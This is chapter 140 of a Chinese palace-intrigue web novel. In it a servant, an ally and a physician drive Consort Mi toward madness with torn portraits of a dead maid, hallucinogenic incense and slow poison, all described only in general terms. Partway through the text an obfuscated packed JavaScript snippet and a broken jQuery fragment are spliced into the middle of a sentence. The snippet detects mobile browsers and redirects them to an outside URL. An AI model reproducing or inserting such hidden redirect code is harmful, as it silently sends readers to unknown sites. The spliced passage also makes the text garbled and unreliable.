140. 毒侵心脉
作品:《君子渡我》 第140章
夜色如墨,玉芙宫殿内烛火摇曳,宫丹端着一盏温热的莲子羹,指尖捏着托盘的力道微微收紧,袖中藏着一卷折叠整齐的素色宣纸。
她的心头此刻正砰砰直跳着,既紧张又带着几分隐忍的快意,这是计划的第一夜,她们要让宓婕妤的噩梦,从此刻开始。
自那日在僻静小路与雁宁分别后,她在玉芙宫的每一日都如履薄冰,白日里,她依旧是那个恭顺勤勉的小宫女,端茶送药,伺候起居,将所有的仇恨与锋芒都藏在温顺的眉眼之下。
可到了夜里,雁宁那句“不如我们结盟”的话语,便会在脑海中反复盘旋,一边是对雁宁利用阿姐的怨怼,一边是为阿姐报仇的迫切渴望,两种情绪撕扯着她,让她辗转难眠。
直到第三日深夜,宫丹终于下定了决心,趁着夜色悄悄溜出玉芙宫,凭着记忆找到了章华宫的偏院。
雁宁早已在院中等候,见她前来,眼中没有意外,只有一抹了然的沉静,开门见山道:“你来了,计划我已经和李医师商量好了,先用水墨画像扰乱她的心神,再辅以香料和汤药,双管齐下,让她一步步垮掉。”
宫丹垂着头,声音带着几分沙哑:“我只问你,这次会不会再有人像阿姐一样,成为牺牲品?”
雁宁抬眸看她,眼神坚定地说道:“不会,这次所有风险,我会一力承担,你只需按计划放置画像,其余的事不必插手。”
宫丹沉默片刻,缓缓点头:“好,我信你这一次,若你敢骗我,我就算拼了性命,也不会放过你。”
两人没有过多寒暄,敲定了每日放置画像的时间与位置,宫丹便趁着夜色悄然返回玉芙宫,如今,她终于要迈出第一步了。
宓婕妤正半倚在铺着锦缎软垫的榻上,指尖无意识地摩挲着腕上的羊脂玉镯,眉宇间带着几分挥之不去的烦躁。
自宫双死后,她虽侥幸脱罪,却总觉得心里不踏实,夜里时常睡不安稳,总觉得暗处有双眼睛在盯着自己,让她浑身发毛。
见宫丹进来,她抬了抬眼,瞥了一眼莲子羹,又扫了宫丹一眼,语气冷淡:“放下吧,我待会儿再喝。”
这些时日,宫丹办事还算妥帖,性子也温顺,倒是让她少了几分防备,只是那份莫名的不安,始终萦绕在心头,挥之不去。
宫丹恭敬地应了声“是”,将托盘放在榻边的矮几上,弯腰时,不动声色地将袖中的宣纸卷放在了矮几的角落,被一盏玉灯的阴影遮住,不易察觉。
她垂着头,轻声道:“娘娘近日总说睡不安稳,莲子羹里加了些安神的百合,娘娘趁热喝些,或许能睡得好些。”
宓婕妤“嗯”了一声,并未多言,目光落在窗外的夜色上,不知在想些什么。
宫丹见状,便躬身退到一旁,静候吩咐,眼底却闪过一丝狡黠的光芒,她知道,宓婕妤今夜必然会看到那幅画像。
这只是开始,接下来的七日,她会让这份恐惧,一点点渗透进宓婕妤的骨血里。
果然,待宫丹退出去后,宓婕妤起身准备洗漱,无意间瞥见了矮几角落的宣纸卷。
她皱了皱眉,心中疑惑,这东西方才还没有,是谁放在这里的?
她伸手拿起宣纸卷,缓缓展开,烛火下,一幅素笔画像映入眼帘,画中的少女眉眼弯弯,笑容清甜,身形纤细,穿着一身浅粉色的宫装,模样青涩又单纯,正是年少时刚入宫的宫双。
宓婕妤的心猛地一跳,手中的画像险些掉落在地,瞳孔瞬间收缩,脸色微微发白。
“谁?是谁放在这里的?”她厉声喝道,声音带着几分不易察觉的颤抖,殿外的宫女听到声音,连忙推门进来,惶恐地跪倒在地:“娘娘,奴婢不知……方才宫丹小娘子送完莲子羹便退出去了,并未见其他人进来。”
“宫丹?”宓婕妤眼神一沉,随即又摇了摇头,喃喃自语道:“她一个小丫头,借她十个胆子,也不敢做这种事。”
话虽如此,她的心跳却越来越快,后背竟渗出了细密的冷汗,她强装镇定地让宫女将地上的纸团捡起来扔掉,冷声道:“再敢有这种装神弄鬼的东西出现在我的寝殿,仔细你们的皮!”
宫女们吓得连连应诺,连忙将纸团捡起,匆匆退了出去,可夜里躺在床上,宓婕妤的脑海中却反复浮现出画中宫双的模样,还有宫双被乱棍打死时那惨不忍睹的场景,让她辗转反侧,直到天快亮时才昏昏沉沉睡去。
第二日夜里,宫丹故技重施,依旧趁着送宵夜的时机,将一幅宫双的画像放在了宓婕妤的桌上,只是这幅画像,右下角被撕去了一角,露出残缺的边缘。
宓婕妤看到画像时,脸色比昨日更加难看,心中的恐惧又加深了几分,她明明已经让人加强了巡查,为何画像还会出现?而且还被撕去了一角,这分明是有人故意为之!
“查!给我仔细查!”宓婕妤将画像狠狠拍在桌上,烛火映照下,她的脸颊扭曲,眼中满是怒火与慌乱。
“彻查玉芙宫所有宫人,还有昨日进出玉芙宫的人,一寸一寸地查,一定要查到是谁胆子这么大,竟敢在我身边做手脚!”
负责掌事的太监连忙跪地领命:“娘娘放心,奴才这就带人去查,定不会放过任何一个可疑之人!”
可查了整整一日,却毫无头绪,玉芙宫的宫人都矢口否认,进出宫的记录也毫无异常,那幅画像仿佛是凭空出现的一般,找不到任何踪迹。
宓婕妤心中的不安越来越强烈,她开始怀疑身边的每一个人,就连平日里最信任的贴身宫女,都让她觉得心怀不轨。
“娘娘,今日查遍了所有宫人,都没有发现异常,会不会是……外面的人做的?”掌事太监小心翼翼地回禀道。
宓婕妤冷笑一声,眼神阴鸷:“外面的人?没有我的令牌,谁能轻易进出玉芙宫?定是你们查得不够仔细,再查!若是查不出来,我就扒了你们的皮!”
太监们吓得魂飞魄散,连忙再次带人去查,可依旧一无所获。
第三日、第四日……日复一日,每到夜里,宫双的画像都会准时出现在宓婕妤的桌上,每日都会被撕去一角,从最初的完整画像,渐渐变得残缺不全。
画中宫双的笑容,也仿佛随着画像的残缺,变得越来越诡异,越来越阴森。
宓婕妤的精神状态越来越差,白日里神色恍惚,食欲不振,常常拿着筷子发呆,半天都不动一下。
夜里更是整夜整夜地失眠,就算勉强睡去,也会被噩梦惊醒,她下令加强了玉芙宫的守卫,夜里不许任何人随意进出,甚至让侍卫们整夜守在寝殿门口,可画像依旧会准时出现,仿佛送画像的人,能穿透重重守卫,悄无声息地潜入她的寝殿。
“娘娘,今日的画像又……又出现了。”第五日清晨,宫女拿着一幅残缺的画像,惶恐地跪在宓婕妤面前,声音都在颤抖。
宓婕妤看着画像,手指紧紧攥着衣袖,指甲深深嵌入掌心,疼得她微微蹙眉,可心中的恐惧却盖过了疼痛。
“够了!够了!”她尖叫着将画像扔在地上。
“我不管你们用什么办法,今日之内,必须查到凶手!否则,你们都给宫双陪葬!”
宫女们吓得纷纷跪倒在地,哭着求饶:“娘娘饶命!娘娘饶命!奴婢们真的查不到啊!”
宓婕妤看着她们哭哭啼啼的模样,心中更加烦躁,一脚踹翻了面前的矮几,茶具摔得粉碎,茶水溅了宫女们一身。“滚!都给我滚出去查!查不到就别回来!”
宫女们连滚带爬地退了出去,殿内只剩下宓婕妤一人,她瘫坐在榻上,大口大口地喘着粗气,眼中满是绝望与恐惧,她不明白,到底是谁在针对她,为何要这样折磨她。
到了第七夜,当宫丹将最后一幅画像放在宓婕妤桌上时,画像只剩下了中间的一小块,只剩下宫双那双清澈的眼睛,在烛火下静静地望着宓婕妤,仿佛带着无尽的控诉。
宓婕妤看着那仅剩的一小块画像,再也无法维持镇定,浑身剧烈地颤抖起来,双腿一软,险些瘫坐在地上。
她伸出颤抖的手,拿起那一小块画像,指尖冰凉,心脏像是被一只无形的手紧紧攥住,疼得她几乎无法呼吸。
“宫双……是宫双……”她喃喃自语,眼神涣散,脸上满是惊恐:“是她来找我报仇了……她没死……她化作厉鬼来找我了……”
这些日子,她每日都在恐惧中度过,画像的出现,让她不得不一次次回忆起宫双的死,回忆起自己如何狠心让宫双顶罪,回忆起宫双被抬出去时那血肉模糊的模样。
她越是逃避,那些画面就越是清晰,如今看着画中宫双的眼睛,她再也无法自欺欺人,心中的恐惧彻底爆发出来。
“来人!来人啊!”宓婕妤尖叫着喊道,声音尖锐刺耳,带着浓浓的哭腔:“给我查!一定要查到是谁在装神弄鬼!我要扒了她的皮,抽了她的筋,让她不得好死!”
殿外的宫女太监们听到她的尖叫,连忙冲进殿内,看到宓婕妤状若疯癫的模样,都吓得脸色发白,纷纷跪倒在地,不敢抬头。
可无论他们怎么查,依旧找不到任何线索,那幅残缺的画像,像是一道催命符,紧紧缠绕着宓婕妤,让她濒临崩溃。
也是从这一夜起,宓婕妤开始有意疏离宫丹,她虽然没有证据证明画像与宫丹有关,可宫丹是宫双的妹妹,她隐约察觉到两人样貌相似,派人打听后确认了关系,又是在宫双死后才调入玉芙宫的,种种疑点让她不得不怀疑。
往日里,她还会让宫丹近身伺候,可如今,她再也不让宫丹碰自己的汤药和贴身物品,甚至连说话都懒得跟宫丹多说一句,眼神里满是猜忌与提防。
“娘娘,该喝药了。”宫丹端着药碗走进殿内,恭敬地说道。
宓婕妤瞥了她一眼,眼神冰冷,语气带着浓浓的戒备:“放下吧,让别人来伺候。”
宫丹心中一凛,面上却依旧温顺:“是,娘娘。”她将药碗放在桌上,转身便要退出去。
“站住!”宓婕妤突然开口,叫住了她,眼神锐利地盯着她,忽然问道:“宫丹,我问你,这些日子的画像,是不是你放的?”
宫丹心中一惊,连忙跪倒在地,神色惶恐地说道:“娘娘冤枉!奴婢万万不敢做这种事!奴婢的姐姐已经死了,奴婢只想好好伺候娘娘,怎么敢做出这种大逆不道的事情?还请娘娘明察!”
她一边说,一边磕了几个头,额头都磕出了红印,模样看起来十分委屈。
宓婕妤看着她的模样,心中的怀疑又动摇了几分,宫丹平日里温顺听话,看起来确实不像有胆子做这种事的人。
“罢了,起来吧。”她挥了挥手,语气冷淡:“本宫暂且信你一次,若是让本宫发现你有二心,定不轻饶。”
“谢娘娘信任!奴婢定当忠心耿耿,伺候娘娘!”宫丹连忙起身,垂着头退了出去,走出殿门的那一刻,眼底闪过一丝冰冷的恨意。
而更让宓婕妤崩溃的是,从第七夜开始,每到深夜,她的枕边都会弥漫起一股淡淡的香气,那香气清甜宜人,却带着一种诡异的蛊惑力。
起初,她并未在意,只当是宫女们熏的安神香,可渐渐的,她发现自己夜里做的噩梦越来越真实,越来越恐怖。
每一夜,她都会梦见宫双浑身是血地站在她的床边,脸上带着血肉模糊的伤口,眼神空洞地盯着她,伸出沾满鲜血的手,一步步向她走来,嘴里还不停地念叨着:“娘娘,我好疼……你为什么要杀我……我好恨……”
宫双的声音凄厉刺耳,像是从地狱里传来的一般,吓得宓婕妤在梦中尖叫挣扎,可无论她怎么跑,都逃不出宫双的追逐,只能眼睁睁看着宫双的手伸向自己的脖颈,感受着窒息的痛苦。
“啊!”宓婕妤猛地从梦中惊醒,浑身大汗淋漓,衣衫都被汗水浸湿,紧紧贴在身上,心脏狂跳不止,大口大口地喘着粗气。
殿内烛火依旧摇曳,可她却觉得四周一片冰冷,仿佛宫双的鬼魂,还在殿内的某个角落,静静地看着她。
她不知道,那枕边的香气,是李玉蔷按照雁宁的吩咐,每日深夜趁着守卫换班的间隙,悄悄潜入她的寝殿熏上的致幻香料。
这种香料药性温和,不会立刻让人陷入癫狂,却能慢慢扰乱人的心智,放大心中的恐惧,再加上宫丹此前每日在汤药中掺入的慢性毒药,两种东西相互作用,一点点摧垮着宓婕妤的精力。
“娘娘,您怎么了?是不是做噩梦了?”守在殿外的宫女听到她的尖叫,连忙进来问道。
宓婕妤猛地抓住宫女的手,眼神惊恐地看着她,声音颤抖地说道:“宫双……宫双的鬼魂来了!她就在殿里!她要杀我!快,快把她赶出去!”
宫女吓得脸色发白,连忙安慰道:“娘娘,没有鬼魂,您看错了,殿里只有奴婢们啊!”
“不!我没看错!她就在那里!就在那里!”宓婕妤指着空荡荡的角落,尖叫着说道,眼神涣散,已经有些神志不清了。
宫女们见状,都吓得心惊胆战,连忙上前安抚她,可宓婕妤却像是疯了一般,不停地挣扎,尖叫,直到筋疲力尽,才昏昏沉沉地睡去。
日复一日,宓婕妤的精神状态越来越差,白日里神志恍惚,眼神涣散,常常对着空气自言自语,时而哭泣,时而尖叫,甚至会把身边的宫女当成宫双的鬼魂,吓得连连后退。
她的身体也越来越虚弱,面色苍白如纸,眼底布满了血丝,头发也大把大把地掉落,整个人憔悴得不成样子,再也没有了往日的明艳与嚣张。
宫人们见她这般模样,都吓得心惊胆战,私下里议论纷纷,都说宓婕妤是被宫双的鬼魂缠上了,报应来了。
这些议论传到宓婕妤的耳朵里,更是让她心神不宁。
“娘娘,该吃些东西了,您已经一天没吃东西了。”宫女端着饭菜走进殿内,小心翼翼地说道。
宓婕妤瞥了一眼饭菜,突然尖叫起来:“有毒!这饭菜里有毒!是宫双要害我!快拿走!快拿走!”
宫女吓得连忙将饭菜端了出去,无奈地摇了摇头,如今的宓婕妤,已经彻底不信任任何人了,无论是饭菜还是汤药,她都觉得有毒,常常一口都不吃,身体也越来越虚弱。
就这样过了三日,宓婕妤再也支撑不住了,这一日清晨,她坐在镜前,看着镜中憔悴不堪,眼神浑浊的自己,突然崩溃大哭起来。
她猛地将桌上的铜镜扫落在地,铜镜摔得粉碎,碎片映照出她扭曲的脸庞,更是让她觉得恐怖。
“来人!传李玉蔷!快传李玉蔷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203884|177866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”宓婕妤尖叫着喊道,声音沙哑,带着浓浓的哭腔。
她现在唯一能想到的,就是让李玉蔷来给她把脉,看看自己到底是怎么了,是不是真的中了邪,被宫双的鬼魂缠上了。
宫女们不敢耽搁,连忙派人去传李玉蔷,没过多久,李玉蔷便提着药箱,快步走进了寝殿。
看到宓婕妤状若疯癫的模样,她眼中闪过一丝不易察觉的冷意,随即又换上了一副担忧的神色,快步走上前,躬身行礼:“参见娘娘,不知娘娘传唤下官,有何吩咐?”
宓婕妤看到李玉蔷,像是抓住了一根救命稻草一般,连忙上前抓住她的手,她的手冰凉刺骨,还在不停地颤抖:“李医师,你快给我看看,我是不是中邪了?是不是宫双的鬼魂来找我报仇了?我这几日夜夜都梦见她,她浑身是血地来找我索命,我好害怕……”
李玉蔷感受着她手中的颤抖,心中暗自冷笑,脸上却依旧带着担忧的神色,轻轻拍了拍她的手背,柔声安慰道:“娘娘莫怕,哪有什么鬼魂?定是娘娘近日太过劳累,心神不宁,才会做这样的噩梦,下官先给娘娘把把脉,看看娘娘的身体状况。”
说着,李玉蔷让宓婕妤坐在榻上,伸出手指,轻轻搭在她的腕上,指尖传来的脉象紊乱而微弱,气血亏虚,五脏六腑都有不同程度的损伤,显然是长期被恐惧困扰,再加上慢性毒药的侵蚀,身体已经快要垮掉了。
李玉蔷心中了然,收回手指,脸上露出一副平静的神色,缓缓说道:“娘娘,您的脉象虽然有些紊乱,但并无大碍,只是近日太过劳累,心神不宁所致。下官给您开几副安神的汤药,您按时服用,再好好休息几日,自然就会好转了。”
“无碍?”宓婕妤猛地抬起头,眼神激动地看着李玉蔷,声音沙哑地喊道:“你看看我的样子,哪里像康健的样子?!我夜夜做噩梦,日日心神不宁,整个人都快要疯了!怎么可能无碍?!”
她一边说,一边指着自己的脸,泪水不停地从眼眶中滚落:“你看看,你看看我现在的样子!憔悴不堪,神志不清,宫人们都说我是被宫双的鬼魂缠上了,报应来了!这怎么可能无碍?!李医师,你骗我,你一定是在骗我!”
李玉蔷看着她激动的模样,心中暗自叹息,脸上却依旧带着耐心的神色,轻轻摇了摇头:“娘娘,下官不敢欺骗娘娘,您的身体确实没有大碍,只是压力太大了。您想想,宫双不过是个宫女,就算她死得冤,也不敢随意纠缠娘娘您啊,您之所以会做这样的噩梦,不过是因为心中太过愧疚,日有所思,夜有所梦罢了。”
“愧疚?”宓婕妤愣了一下,眼神有些涣散,喃喃自语道:“我为什么要愧疚?宫双是自愿替我顶罪的,是她自己找死,与我无关……”
话虽如此,她的眼神却越来越慌乱,脑海中再次浮现出宫双死时的场景,还有那一幅幅残缺的画像,以及梦中宫双浑身是血的模样。
她的手又开始颤抖起来。
“不……不会的……”宓婕妤摇着头,喃喃自语道:“宫双已经死了,她已经被乱棍打死了,尸体都抬出宫了,她怎么可能来找我报仇?一定是我想多了,一定是……”
她一边说,一边不停地安慰自己,可心中的恐惧却越来越强烈,眼泪也越来越多。
她现在真的怕了,怕宫双的鬼魂真的来找她索命,怕自己最终会落得一个不得好死的下场。
李玉蔷看着她这般模样,心中暗自得意,脸上却依旧带着担忧的神色,柔声说道:“娘娘,您莫要再胡思乱想了,下官这就给您开几副安神的汤药,您按时服用,再好好休息几日,不要再想那些乱七八糟的事情,自然就会好转了。若是您还是放心不下,下官再给您熏一些驱邪安神的香料,定能让您夜夜安睡。”
宓婕妤看着李玉蔷,眼神中满是依赖与信任,她现在已经没有别的办法了,只能相信李玉蔷的话。
她点了点头,泪水依旧不停地滚落:“好,好,李医师,你快给我开药,快给我熏香料,我不想再做噩梦了,我不想再被宫双的鬼魂缠着了……”
李玉蔷连忙点头应道:“娘娘放心,下官这就去办。”说着,她转身走到桌前,拿起纸笔,开始为宓婕妤开药方。
她的笔尖在纸上滑动,写下的却是一些看似安神,实则会加重她心神紊乱的药材,再加上宫丹每日在汤药中掺入的慢性毒药,用不了多久,宓婕妤就会彻底陷入癫狂,再也无法翻身。
“李医师,你一定要救救我啊。”宓婕妤坐在榻上,看着李玉蔷的背影,声音沙哑地说道,眼中满是绝望:“我不想死,我还不想死……”
李玉蔷握着笔的手顿了顿,转身看向她,脸上带着温柔的笑容:“娘娘放心,下官一定会救您的,您一定会好起来的。”
可她的眼底,却闪过一丝冰冷的恨意。
看着李玉蔷认真写药方的模样,宓婕妤坐在榻上,依旧不停地喃喃自语,眼神涣散,脸上满是恐惧与不安。
她不知道,自己早已一步步陷入了雁宁与宫丹,李玉蔷设下的陷阱之中,等待她的,将会是比死亡更痛苦的结局。
宓婕妤蜷缩在榻上,像个受惊的孩子一般,不停地颤抖着,心中反复默念着:“宫双不会来找我的……她已经死了……不会的……不会的……”
可越是这样默念,她心中的恐惧就越是强烈,脑海中宫双浑身是血的模样就越是清晰。
而此刻的章华宫偏院,雁宁正坐在窗前,手中拿着一本医书,可眼神却没有落在书页上,而是望向了玉芙宫的方向。
她宓婕妤现在已经快要撑不住了,用不了多久,她就会彻底垮掉,到时候,宫双的仇,阿娘的仇,还有那些被宓婕妤迫害的人的仇,都能报了。
“在想什么事?”严林不知何时出现在院门口,手中拿着一个食盒,缓步走了进来。
雁宁回过神,看向他,点摇了摇头:“没什么。”
严林将食盒放在桌上,打开食盒,里面是几碟精致的点心,还有一碗温热的汤羹。“太妃让我给你送来的,说你近日太过操劳,让你好好补补身子。”
雁宁心中一暖,轻声道:“多谢太妃,也多谢小林大人。”
严林坐在她对面,看着她眼底的疲惫,却并未说话。
雁宁反而是笑了笑,拿起一块点心,咬了一口:“我知道,让太妃放心吧,我不会拿自己的身子开玩笑的。”
严林看着她的笑容,眼中闪过一丝温柔,没有再说话,只是静静地陪着她。
而玉芙宫的寝殿里,李玉蔷已经写完了药方,将药方递给身边的宫女:“按照这个药方抓药,立刻熬制,熬好后送来给娘娘服用,切记,一定要看着娘娘喝完。”
宫女接过药方,恭敬地应了声“是”,转身退了出去。
李玉蔷走到榻边,看着蜷缩在榻上、不停颤抖的宓婕妤,眼中闪过一丝冰冷的算计:“娘娘,您放心,喝了汤药,好好睡一觉,一切都会好起来的。”
宓婕妤抬起头,眼神浑浊地看着李玉蔷,点了点头,泪水再次滚落。
可她不知道,这不过是她痛苦的开始,真正的报应,还在后面等着她。
宫丹站在殿外的廊下,看着殿内宓婕妤憔悴不堪的模样,眼中满是仇恨与快意。

